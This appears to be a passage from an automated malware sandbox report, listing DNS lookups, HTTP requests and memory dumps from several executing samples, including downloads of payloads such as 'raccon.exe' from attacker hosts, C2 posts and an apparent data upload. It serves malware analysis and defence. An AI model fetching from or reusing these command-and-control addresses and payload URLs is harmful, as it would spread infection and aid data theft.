                                      api.ip.sb.cdn.cloudflare.net
                                      api.ip.sb.cdn.cloudflare.net
                                      IN A
                                      104.26.12.31
                                      api.ip.sb.cdn.cloudflare.net
                                      IN A
                                      104.26.13.31
                                      api.ip.sb.cdn.cloudflare.net
                                      IN A
                                      172.67.75.172
                                    • flag-us
                                      GET
                                      https://api.ip.sb/geoip
                                      FE2C.exe
                                      Remote address:
                                      104.26.12.31:443
                                      Request
                                      GET /geoip HTTP/1.1
                                      Host: api.ip.sb
                                      Connection: Keep-Alive
                                      Response
                                      HTTP/1.1 200 OK
                                      Date: Tue, 28 Sep 2021 23:36:41 GMT
                                      Content-Type: application/json; charset=utf-8
                                      Content-Length: 285
                                      Connection: keep-alive
                                      Vary: Accept-Encoding
                                      Vary: Accept-Encoding
                                      Cache-Control: no-cache
                                      Access-Control-Allow-Origin: *
                                      CF-Cache-Status: DYNAMIC
                                      Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vaHQ0dJ9ok%2BXvwXWkwp1rPTlppRnj6JiNT%2BaapREjIH6cUWyLmeW%2FFBsaYRj3M27nXka94BZXXR0SW0bocrbSGLSxDF6PCSDSxzHZ6%2FUqHJZQ5ca6M496niZHw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                      Server: cloudflare
                                      CF-RAY: 6960cb9b1acc1ead-AMS
                                      alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 174
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:42 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Connection: close
                                      Transfer-Encoding: chunked
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      GET
                                      https://api.ip.sb/geoip
                                      17A2.exe
                                      Remote address:
                                      104.26.12.31:443
                                      Request
                                      GET /geoip HTTP/1.1
                                      Host: api.ip.sb
                                      Connection: Keep-Alive
                                      Response
                                      HTTP/1.1 200 OK
                                      Date: Tue, 28 Sep 2021 23:36:52 GMT
                                      Content-Type: application/json; charset=utf-8
                                      Content-Length: 285
                                      Connection: keep-alive
                                      Vary: Accept-Encoding
                                      Vary: Accept-Encoding
                                      Cache-Control: no-cache
                                      Access-Control-Allow-Origin: *
                                      CF-Cache-Status: DYNAMIC
                                      Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pZGQwlkU2aj0IjUEVwadYkiJhkkVtsRJ1NCqwBB4c52nmnQKQ5GKPBgI%2FsjXWGmurEJj31%2FYfD%2FhFBdhYvDRe2Ae86KUUEX%2B326n2ajFigDK0O1n5homDUY%2FPg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                      Server: cloudflare
                                      CF-RAY: 6960cbe06eab6b32-AMS
                                      alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 218
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:53 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 362
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:53 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 352
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:54 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 222
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:55 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Connection: close
                                      Transfer-Encoding: chunked
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 156
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:37:00 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 213
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:37:00 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 47
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      GET
                                      http://geenaldencia9.top/raccon.exe
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      GET /raccon.exe HTTP/1.1
                                      Connection: Keep-Alive
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 200 OK
                                      Date: Tue, 28 Sep 2021 23:37:01 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      Last-Modified: Tue, 28 Sep 2021 23:37:01 GMT
                                      ETag: W/"0-5cd16b0bec9f9"
                                      Accept-Ranges: bytes
                                      Content-Length: 0
                                      Connection: close
                                      Content-Type: application/octet-stream
                                    • flag-sc
                                      POST
                                      http://185.215.113.13/g4MbvE/index.php
                                      disksyncer.exe
                                      Remote address:
                                      185.215.113.13:80
                                      Request
                                      POST /g4MbvE/index.php HTTP/1.1
                                      Content-Type: application/x-www-form-urlencoded
                                      Host: 185.215.113.13
                                      Content-Length: 84
                                      Cache-Control: no-cache
                                      Response
                                      HTTP/1.1 200 OK
                                      Date: Tue, 28 Sep 2021 23:37:43 GMT
                                      Server: Apache/2.4.41 (Ubuntu)
                                      Content-Length: 58
                                      Content-Type: text/html; charset=UTF-8
                                    • flag-sc
                                      POST
                                      http://185.215.113.13/g4MbvE/index.php?scr=1
                                      disksyncer.exe
                                      Remote address:
                                      185.215.113.13:80
                                      Request
                                      POST /g4MbvE/index.php?scr=1 HTTP/1.1
                                      Content-Type: multipart/form-data; boundary=----21f48c9c53ebdee82c20134be0aa40fa
                                      Host: 185.215.113.13
                                      Content-Length: 77205
                                      Cache-Control: no-cache
                                      Response
                                      HTTP/1.1 200 OK
                                      Date: Tue, 28 Sep 2021 23:37:43 GMT
                                      Server: Apache/2.4.41 (Ubuntu)
                                      Content-Length: 0
                                      Content-Type: text/html; charset=UTF-8
                                    • flag-sc
                                      GET
                                      http://185.215.113.36/Zenar_protected.exe
                                      disksyncer.exe
                                      Remote address:
                                      185.215.113.36:80
                                      Request
                                      GET /Zenar_protected.exe HTTP/1.1
                                      Host: 185.215.113.36
                                      Response
                                      HTTP/1.1 200 OK
                                      Server: nginx/1.18.0 (Ubuntu)
                                      Date: Tue, 28 Sep 2021 23:37:49 GMT
                                      Content-Type: application/x-msdos-program
                                      Content-Length: 8643584
                                      Connection: keep-alive
                                      Last-Modified: Tue, 28 Sep 2021 23:33:33 GMT
                                      ETag: "83e400-5cd16a453a6a0"
                                      Accept-Ranges: bytes
                                    • flag-us
                                      GET
                                      https://api.ip.sb/geoip
                                      SketchClient.exe
                                      Remote address:
                                      104.26.12.31:443
                                      Request
                                      GET /geoip HTTP/1.1
                                      Host: api.ip.sb
                                      Connection: Keep-Alive
                                      Response
                                      HTTP/1.1 200 OK
                                      Date: Tue, 28 Sep 2021 23:37:51 GMT
                                      Content-Type: application/json; charset=utf-8
                                      Content-Length: 285
                                      Connection: keep-alive
                                      Vary: Accept-Encoding
                                      Vary: Accept-Encoding
                                      Cache-Control: no-cache
                                      Access-Control-Allow-Origin: *
                                      CF-Cache-Status: DYNAMIC
                                      Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X78sqLOzVtXwxnLgkLVAF%2FCF7XtcJgwci9Qh%2Bd6TXJK%2FnJmNmWq%2F86iEjYRpPtmSHfmUHkl6MTVih7cmVhFR6yhlo0YhtJ8Ux2CVCB0fvC46dT7Ku4OkUMhGng%3D%3D"}],"group":"cf-nel","max_age":604800}
                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                      Server: cloudflare
                                      CF-RAY: 6960cd50cc800b37-AMS
                                      alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
                                    • flag-sc
                                      GET
                                      http://185.215.113.36/zena/UpSys.exe
                                      Zenar_protected.exe
                                      Remote address:
                                      185.215.113.36:80
                                      Request
                                      GET /zena/UpSys.exe HTTP/1.1
                                      Accept: */*
                                      UA-CPU: AMD64
                                      Accept-Encoding: gzip, deflate
                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                      Host: 185.215.113.36
                                      Connection: Keep-Alive
                                      Response
                                      HTTP/1.1 200 OK
                                      Server: nginx/1.18.0 (Ubuntu)
                                      Date: Tue, 28 Sep 2021 23:38:32 GMT
                                      Content-Type: application/x-msdos-program
                                      Content-Length: 945944
                                      Connection: keep-alive
                                      Last-Modified: Tue, 28 Sep 2021 17:10:15 GMT
                                      ETag: "e6f18-5cd1149915f1f"
                                      Accept-Ranges: bytes
                                    • flag-sc
                                      POST
                                      http://185.215.113.13/g4MbvE/index.php
                                      disksyncer.exe
                                      Remote address:
                                      185.215.113.13:80
                                      Request
                                      POST /g4MbvE/index.php HTTP/1.1
                                      Content-Type: application/x-www-form-urlencoded
                                      Host: 185.215.113.13
                                      Content-Length: 31
                                      Cache-Control: no-cache
                                      Response
                                      HTTP/1.1 200 OK
                                      Date: Tue, 28 Sep 2021 23:38:29 GMT
                                      Server: Apache/2.4.41 (Ubuntu)
                                      Content-Length: 0
                                      Content-Type: text/html; charset=UTF-8
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      764 B
                                      523 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      868 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      40.7kB
                                      2.6MB
                                      874
                                      1720

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      856 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      901 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      71.4kB
                                      4.5MB
                                      1542
                                      3043

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 45.67.231.145:10991
                                      FE2C.exe
                                      1.8MB
                                      26.5kB
                                      1214
                                      465
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      879 B
                                      786 B
                                      6
                                      5

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      887 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      2.0kB
                                      77.8kB
                                      32
                                      56

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      771 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 162.159.134.233:443
                                      https://cdn.discordapp.com/attachments/886962207051640872/892436136616689684/0368F3CF.jpg
                                      tls, http
                                      17A2.exe
                                      24.2kB
                                      1.5MB
                                      517
                                      1020

                                      HTTP Request

                                      GET https://cdn.discordapp.com/attachments/886962207051640872/892436136616689684/0368F3CF.jpg

                                      HTTP Response

                                      200
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      749 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      828 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 104.26.12.31:443
                                      https://api.ip.sb/geoip
                                      tls, http
                                      FE2C.exe
                                      707 B
                                      4.3kB
                                      8
                                      8

                                      HTTP Request

                                      GET https://api.ip.sb/geoip

                                      HTTP Response

                                      200
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      122.5kB
                                      7.7MB
                                      2653
                                      5193

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 193.56.146.60:18243
                                      17A2.exe
                                      1.7MB
                                      19.9kB
                                      1197
                                      273
                                    • 104.26.12.31:443
                                      https://api.ip.sb/geoip
                                      tls, http
                                      17A2.exe
                                      707 B
                                      4.3kB
                                      8
                                      8

                                      HTTP Request

                                      GET https://api.ip.sb/geoip

                                      HTTP Response

                                      200
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      763 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      907 B
                                      746 B
                                      6
                                      4

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      897 B
                                      786 B
                                      6
                                      5

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      91.4kB
                                      5.9MB
                                      1977
                                      3915

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      701 B
                                      826 B
                                      6
                                      6

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/
                                      http
                                      758 B
                                      505 B
                                      6
                                      5

                                      HTTP Request

                                      POST http://geenaldencia9.top/

                                      HTTP Response

                                      404
                                    • 47.251.11.148:80
                                      http://geenaldencia9.top/raccon.exe
                                      http
                                      395 B
                                      519 B
                                      5
                                      5

                                      HTTP Request

                                      GET http://geenaldencia9.top/raccon.exe

                                      HTTP Response

                                      200
                                    • 185.215.113.13:80
                                      http://185.215.113.13/g4MbvE/index.php
                                      http
                                      disksyncer.exe
                                      649 B
                                      378 B
                                      9
                                      4

                                      HTTP Request

                                      POST http://185.215.113.13/g4MbvE/index.php

                                      HTTP Response

                                      200
                                    • 185.215.113.13:80
                                      http://185.215.113.13/g4MbvE/index.php?scr=1
                                      http
                                      disksyncer.exe
                                      80.1kB
                                      1.2kB
                                      65
                                      25

                                      HTTP Request

                                      POST http://185.215.113.13/g4MbvE/index.php?scr=1

                                      HTTP Response

                                      200
                                    • 185.215.113.36:80
                                      http://185.215.113.36/Zenar_protected.exe
                                      http
                                      disksyncer.exe
                                      289.2kB
                                      8.9MB
                                      5934
                                      5930

                                      HTTP Request

                                      GET http://185.215.113.36/Zenar_protected.exe

                                      HTTP Response

                                      200
                                    • 92.222.145.232:61157
                                      SketchClient.exe
                                      1.3MB
                                      14.9kB
                                      926
                                      178
                                    • 104.26.12.31:443
                                      https://api.ip.sb/geoip
                                      tls, http
                                      SketchClient.exe
                                      707 B
                                      4.3kB
                                      8
                                      8

                                      HTTP Request

                                      GET https://api.ip.sb/geoip

                                      HTTP Response

                                      200
                                    • 185.215.113.36:80
                                      http://185.215.113.36/zena/UpSys.exe
                                      http
                                      Zenar_protected.exe
                                      2.7kB
                                      66.1kB
                                      48
                                      46

                                      HTTP Request

                                      GET http://185.215.113.36/zena/UpSys.exe

                                      HTTP Response

                                      200
                                    • 185.215.113.13:80
                                      http://185.215.113.13/g4MbvE/index.php
                                      http
                                      disksyncer.exe
                                      366 B
                                      279 B
                                      4
                                      3

                                      HTTP Request

                                      POST http://185.215.113.13/g4MbvE/index.php

                                      HTTP Response

                                      200
                                    • 8.8.8.8:53
                                      naghenrietti1.top
                                      dns
                                      63 B
                                      133 B
                                      1
                                      1

                                      DNS Request

                                      naghenrietti1.top

                                    • 8.8.8.8:53
                                      kimballiett2.top
                                      dns
                                      62 B
                                      132 B
                                      1
                                      1

                                      DNS Request

                                      kimballiett2.top

                                    • 8.8.8.8:53
                                      xadriettany3.top
                                      dns
                                      62 B
                                      132 B
                                      1
                                      1

                                      DNS Request

                                      xadriettany3.top

                                    • 8.8.8.8:53
                                      jebeccallis4.top
                                      dns
                                      62 B
                                      132 B
                                      1
                                      1

                                      DNS Request

                                      jebeccallis4.top

                                    • 8.8.8.8:53
                                      nityanneron5.top
                                      dns
                                      62 B
                                      132 B
                                      1
                                      1

                                      DNS Request

                                      nityanneron5.top

                                    • 8.8.8.8:53
                                      umayaniela6.top
                                      dns
                                      122 B
                                      122 B
                                      2
                                      2

                                      DNS Request

                                      umayaniela6.top

                                      DNS Request

                                      umayaniela6.top

                                    • 8.8.8.8:53
                                      lynettaram7.top
                                      dns
                                      61 B
                                      131 B
                                      1
                                      1

                                      DNS Request

                                      lynettaram7.top

                                    • 8.8.8.8:53
                                      sadineyalas8.top
                                      dns
                                      62 B
                                      132 B
                                      1
                                      1

                                      DNS Request

                                      sadineyalas8.top

                                    • 8.8.8.8:53
                                      geenaldencia9.top
                                      dns
                                      63 B
                                      79 B
                                      1
                                      1

                                      DNS Request

                                      geenaldencia9.top

                                      DNS Response

                                      47.251.11.148

                                    • 8.8.8.8:53
                                      cdn.discordapp.com
                                      dns
                                      17A2.exe
                                      64 B
                                      144 B
                                      1
                                      1

                                      DNS Request

                                      cdn.discordapp.com

                                      DNS Response

                                      162.159.134.233
                                      162.159.129.233
                                      162.159.130.233
                                      162.159.133.233
                                      162.159.135.233

                                    • 8.8.8.8:53
                                      api.ip.sb
                                      dns
                                      SketchClient.exe
                                      55 B
                                      145 B
                                      1
                                      1

                                      DNS Request

                                      api.ip.sb

                                      DNS Response

                                      104.26.12.31
                                      104.26.13.31
                                      172.67.75.172

                                    MITRE ATT&CK Enterprise v6

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • memory/2176-117-0x0000000000490000-0x000000000053E000-memory.dmp

                                      Filesize

                                      696KB

                                    • memory/2332-142-0x00000000057D0000-0x00000000057D1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2332-144-0x0000000005730000-0x00000000057A9000-memory.dmp

                                      Filesize

                                      484KB

                                    • memory/2332-139-0x0000000004C20000-0x0000000004C21000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2332-137-0x0000000000360000-0x0000000000361000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2380-115-0x0000000000400000-0x0000000000409000-memory.dmp

                                      Filesize

                                      36KB

                                    • memory/2512-169-0x0000000000400000-0x0000000000422000-memory.dmp

                                      Filesize

                                      136KB

                                    • memory/2512-194-0x0000000004F60000-0x0000000005566000-memory.dmp

                                      Filesize

                                      6.0MB

                                    • memory/2772-166-0x00000000079A0000-0x00000000079A1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-125-0x0000000005C00000-0x0000000005C01000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-130-0x0000000005CD0000-0x0000000005CD1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-129-0x0000000005C40000-0x0000000005C41000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-128-0x0000000077CD0000-0x0000000077E5E000-memory.dmp

                                      Filesize

                                      1.6MB

                                    • memory/2772-127-0x0000000005C90000-0x0000000005C91000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-126-0x0000000005D60000-0x0000000005D61000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-164-0x00000000077C0000-0x00000000077C1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-124-0x0000000006260000-0x0000000006261000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-122-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-161-0x0000000007AF0000-0x0000000007AF1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2772-160-0x00000000073F0000-0x00000000073F1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3040-118-0x0000000000D30000-0x0000000000D46000-memory.dmp

                                      Filesize

                                      88KB

                                    • memory/3556-226-0x0000000009340000-0x0000000009341000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3556-201-0x0000000007F00000-0x0000000007F01000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3556-195-0x0000000006FA0000-0x0000000006FA1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3556-196-0x0000000006FA2000-0x0000000006FA3000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3556-276-0x0000000006FA3000-0x0000000006FA4000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3556-222-0x0000000009CF0000-0x0000000009CF1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3556-1537-0x000000007F3B0000-0x000000007F3B1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-228-0x0000000009390000-0x0000000009391000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-191-0x0000000004930000-0x0000000004931000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-175-0x00000000072C0000-0x00000000072C1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-238-0x0000000004933000-0x0000000004934000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-217-0x00000000093D0000-0x0000000009403000-memory.dmp

                                      Filesize

                                      204KB

                                    • memory/3840-189-0x0000000007A80000-0x0000000007A81000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-188-0x0000000007260000-0x0000000007261000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-237-0x000000007F3D0000-0x000000007F3D1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-174-0x00000000048F0000-0x00000000048F1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-193-0x0000000004932000-0x0000000004933000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-233-0x0000000009500000-0x0000000009501000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3840-192-0x0000000007D40000-0x0000000007D41000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3860-385-0x0000000007042000-0x0000000007043000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3860-383-0x0000000007040000-0x0000000007041000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3860-595-0x000000007E340000-0x000000007E341000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4080-140-0x0000000005DF0000-0x00000000061EF000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/4080-156-0x0000000001243000-0x0000000001244000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4080-143-0x00000000061F0000-0x00000000061F1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4080-147-0x0000000003470000-0x0000000003471000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4080-151-0x0000000001700000-0x0000000001B02000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/4080-152-0x0000000008650000-0x0000000008651000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4080-154-0x0000000001240000-0x0000000001241000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4080-153-0x0000000000400000-0x0000000000C64000-memory.dmp

                                      Filesize

                                      8.4MB

                                    • memory/4080-157-0x0000000001244000-0x0000000001245000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4080-155-0x0000000001242000-0x0000000001243000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4080-146-0x00000000033A0000-0x00000000033A1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4112-546-0x0000000000400000-0x00000000004D8000-memory.dmp

                                      Filesize

                                      864KB

                                    • memory/4148-547-0x0000000000880000-0x0000000000881000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4320-571-0x0000000000400000-0x00000000004D8000-memory.dmp

                                      Filesize

                                      864KB

                                    • memory/4408-574-0x0000000000890000-0x0000000000891000-memory.dmp
